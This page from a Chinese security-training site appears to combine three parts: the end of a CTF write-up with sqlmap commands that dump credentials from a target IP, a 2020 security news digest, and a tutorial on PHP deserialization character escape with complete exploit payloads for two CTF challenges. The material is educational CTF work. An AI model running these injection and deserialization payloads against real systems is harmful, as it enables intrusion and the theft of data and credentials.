跑数据库
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --dbs --dump --batch
跑表名
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --tables -D min_ju4t_mel1i --dump --batch
跑列名
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --columns -D min_ju4t_mel1i -T (@dmin9_td4b} --dump --batch
最后payload
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 -D min_ju4t_mel1i -T (@dmin9_td4b} -C username,password --dump --batch
最后跑出五个账号密码,只有一个能用,md5解密登录拿key。
sql注入不愧是OWASP TOP 10 之 榜首,10道题目出现了3道,有一说一sqlmap真的是好用。
网络安全日报 2020年11月3日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、新的NAT /防火墙绕过攻击可以访问任何TCP / UDP服务
https://thehackernews.com/2020/11/new-natfirewall-bypass-attack-lets.html
2、Oracle发布WebLogic漏洞CVE-2020-14750紧急补丁
https://securityaffairs.co/wordpress/110329/hacking/cve-2020-14750-weblogic-server-flaw.html
3、Maze勒索软件运营商宣布正式停止运营
https://securityaffairs.co/wordpress/110318/cyber-crime/maze-ransomware-teminates-operations.html
4、APT团体Kimsuky被发现使用新的恶意软件
https://securityaffairs.co/wordpress/110306/apt/kimsuky-apt-new-malware.html
5、美国在线金银交易商JM Bullion遭遭Magecart攻击
https://securityaffairs.co/wordpress/110290/cyber-crime/jm-bullion-hacked.html
6、英国ICO对万豪酒店2018年数据泄露处以1840W英镑罚款
https://securityaffairs.co/wordpress/110297/data-breach/uk-ico-fines-marriott.html
7、 WeWork打印管理账号被曝使用了弱口令
https://techcrunch.com/2020/11/01/wework-employees-used-an-alarmingly-insecure-printer-password/
8、网络诈骗通过Google云端硬盘协作功能来发送恶意链接
https://threatpost.com/scammers-google-drive-malicious-links/160832/
9、研究人员展示了可以感染机器学习模型的“无触发”后门
https://portswigger.net/daily-swig/triggerless-backdoors-can-infect-machine-learning-models-without-leaving-a-trace-research
10、TrickBot死灰复燃
https://cyware.com/news/trickbot-rises-from-the-ashes-d02b0e92
细说php反序列化字符逃逸
相关实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001&pk_campaign=heetian-wemedia (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)
前言
php反序列化的字符逃逸算是比较难理解的一个知识点,在最近的好几场比赛中都出现了相关的题,于是下定决心彻底理解透彻这个知识点,于是便有了这篇文章。
基础知识理解
字符逃逸在理解之后就能够明白,这是一种闭合的思想,它类似SQL中的万能密码,理解这种原理之后会变得特别容易。
在SQL注入中,我们常用'、"来对注入点进行一些闭合或者一些试探,从而进行各种姿势的注入,反序列化时,序列化的值是以;作为字段的分隔,在结尾是以}结束,我们稍微了解一下,
<?php
class people{
public $name = 'Tom';
public $sex = 'boy';
public $age = '12';
}
$a = new people();
print_r(serialize($a));
O:6:"people":3:
{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}
反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化。我们可以将上面的序列化的值稍作改变:
O:6:"people":3:
{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}123123
可以看到,并没有报错,而且也顺利将这个对象反序列化出来了,恰好说明了我们以上所说的闭合的问题,与此同时,修改一些序列化出来的值可以反序列化出我们所知道的对象中里没有的值,在学习绕过__wakeup就能过知道了,这里可以自己去做一些尝试,去理解。
接下来就是要说到报错的时候了,当你的字符串长度与所描述的长度不一样时,便会报错,比如上图中s:3:"Tom"变成s:4:"Tom"或s:2:"Tom"便会报错,为的就是解决这种报错,所以在字符逃逸中分为两类:
1.字符变多
2.字符减少
关键字符增多
在题目中,往往对一些关键字会进行一些过滤,使用的手段通常替换关键字,使得一些关键字增多,简单认识一下,正常序列化查看结果
这里,我们对序列化后的字符串进行了替换,使得后来的反序列化报错,那我们就需要在Tom这里面的字符串做手脚,在username之后只有一个age,所以在双引号里面可以构造我需要的username之后参数的值,这里修改age的值,我们这里将Tom替换为Tom";s:3:"age";s:2:"35";}然后进行反序列化,这里指的是在对username传参的时候进行修改,也就是我们写链子的时候进行的操作
可以看到构造出来的序列化字符串长度为25,而在上面的反序列化过程中,他会将一个o变成两个,oo,那么得到的应该就是s:25:"Toom"我们要做的就是让这个双引号里面的字符串在过滤替换之后真的有描述的这么长,让他不要报错,再配合反序列化的特点,(反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化)闭合后忽略后面的age:13的字符串成功使得age被修改为35。
而age的修改需要前面的字符串username的值长度与描述的一样,这需要我们精确的计算,这里是将一个o变成两个,以下就只写o不写Tom,效果一致,我们需要知道我们除了双引号以内的,所构造的字符串长度为多少,即";s:3:"age";s:2:"35";}的长度22,那就需要22个o,
总的来说就是22个o加上后面的字符串长度22,总长度就为44,在被过滤替换后,光o就有44个,符合描述的字符串长度。下面就说明(为什么叫做逃逸)
这里特意写了"将一大串o进行与前面的"闭合了,如果直接反序列化,在序列化出来的值中就包含了";s:3:"age";s:2:"35";}。
反序列的过程中,所描述的字符串长度(这里为44),而后面双引号包裹的字符串长度(这里为22)不够所描述的长度,那么他将会向后吞噬,他会将后双引号吞噬,直至足够所描述的长度,在一切吞噬结束之后,序列化出来的字符串如果不满足反序列化的字符串的格式,就会报错。我们这里是他吞噬结束后,还满足这个格式,所以不报错。
在这个例子中,我们利用他对序列化后的值,进行增加字符串长度的过滤,让他填充双引号内的字符串达到所描述的44这么长,使得后面的s:3:"age";s:2:"35";不被吞噬,让这部分代码逃逸出吞噬,又让他提前遇到}忽略后面的一些不需要的字符串,结束反序列化。
可以看到,我们构造的payload是成功修改了age,这里是数组,在对对象操作时也是一样的。
刚刚说到吞噬,在增加字符串的题目中,我们是利用题中的增加操作,阻止他进行向后吞噬我们构造的代码,而在字符减少的过程中,我们也是利用这个操作。
关键字符减少
有了前面”吞噬“的一种解释,那么字符串减少就很好说了 ,同样的也是因为替换的问题,使得参数可以让我们构造payload
这里的错误是因为s:5:"zddo"长度不够,他向后吞噬了一个双引号,导致反序列化格式错误,从而报错,我们要做的就是让他往后去吞噬一些我们构造的一些代码。以下讲具体实施。
同样的,我们这里以修改age为例,不同的是与增加字符串传值的地方有些许不同,我们构造的值是有一部分让他吞噬的
先正常传递值序列化出我们需要修改的值,我们需要的是将age:13改为35
取出";s:3:"age";s:2:"35";}这就是我们需要构造的,接着继续将这部分内容重新传值,序列化出来,得到下面的结果
选中部分就是我们构造出来,他需要吞噬的代码,s:22:""这个双引号里面我们还有操作的空间,用来补齐字符串长度,接着就是计算我们自己所需要吃掉的字符串长度为18,根据过滤,他是将两个o变成一个,也就是每吃掉一个字符,就需要有一个oo,那我们需要吃掉的是18个长度,那么我们就需要18个oo,在吞噬结束之后我们的格式又恢复正确,使得真正的字符s:3:"age";s:2:"35";逃逸出来,成功加入反序列化
这就是我们最终的payload,可以看到下图成功修改了
例题
有了以上基础,就可以做题了,简单的开始入手
安恒四月(字符减少)
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
看到上面的代码,很明显,我们需要利用file_get_contents();读取文件,将flag读取出来,但是他是个__toString()方法,我们就要让他触发这个方法,当反序列化出对象后,被当作字符串使用时,就可以触发,那我们就需要写一个链,与此同时我们也要知道字符串被删减了几个字符
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
看这一部分即可了解到,如果发现不可见字符*不可见字符,字符串就会增多,接着又将\0\0\0的6个字符变成3个字符不可见字符*不可见字符,我们自己是不会去写入不可见字符的在这道题中,相反可以故意写入\0\0\0使得字符串减少,通过计算逃逸字符,读取flag文件
题目中序列化的是对象$a,里面有两个参数,username和password,我们要传入的也是这两个参数的值,所以我们构造的payload,应该是往password传我们构造好的字符,而在username传入的为计算好的\0\0\0个数,
按照流程来,先写一个链子,某些参数先随便写
";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}
选中部分就是我们需要重新传参的地方,我们传进password,再次序列化看看效果
我所选择的地方就是需要被吞噬的部分,然后才能使得后边的代码全部逃逸,长度为23,计算后发现需要8个\0\0\0,但8个这样的符号会吞噬24个字符,因此我们可以在s:70:""双引号里面可以随意补一个字符让它吞噬。
因此我们最终在password里面传参的应该是:
i";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}
而在username中传的就是8个\0\0\0:
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
最终payload:
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=i";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}
0CTF piapiapia(字符增加)
扫描目录发现http://www.zip/,下载后开始,审计源码
我们根据他的网页一步步看源码,首先他要我们登陆,我们先注册一个账号进行登陆
看到上图的界面,这时我们看到update.php,都是一些对参数的白名单按要求写即可,图片也随便传一个符合大小的即可,但是注意nickname是我们要操作的地方,稍后讲解,然后有个序列化数组的过程
$user->update_profile($username, serialize($profile));
在上传成功后,他会到profile.php,我们看到profile.php,有这么一段东西
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
这里告诉我们,他反序列化的是profile这个数组序列化后的值,读取的是键名为photo里面的文件名,而flag在config.php也就是说我们需要构造的就是数组中$profile['photo']='config.php'
那么怎样才能让他读这个config.php呢
我们看到class.php,看到父类mysql中:
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
发现序列化的值他会传递给user中的方法update_profile,接着update_profile又将这个值传递给了父类方法filter,显而易见,就是一种过滤,防止sql注入,但是可以发现,他是以替换的方式给返回值,在过滤的字符串中,只有where变成hacker,由5个字符变成6个,所以是字符增加的逃逸方式,接着开始构造
选择部分是需要传入的,在phone和email都是白名单,传入的格式受限制,只有nickname是黑名单,所以我们要绕过这个黑名单,bp抓包
他使用的是strlen()所以这里有个方式,这个函数如果参数是字符串,那么数出来的就是字符串个数,如果是数组,那么数出来的就是数组元素的个数
将nickname改成nickname[]然后传参
传的参数我们需要构造,需要计算,上面分析了我们需要构造的字符串";}s:5:"photo";s:10:"config.php";},但是他是字符增多,我们就需要知道需要逃逸的字符有多少个,计算了一下为34个,(这里因为改为了数组,而数组的序列化格式结束后是一个大括号,所以我们在一开始的”;后面增加了一个花括号)所以需要34个where帮助我们逃逸这部分代码,上传成功,根据这个修改放包即可
返回网页点击
之后可以看到一张显示不出来的图片,因为使用base64编码了,右击查看图片信息
解码即可看到flag
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

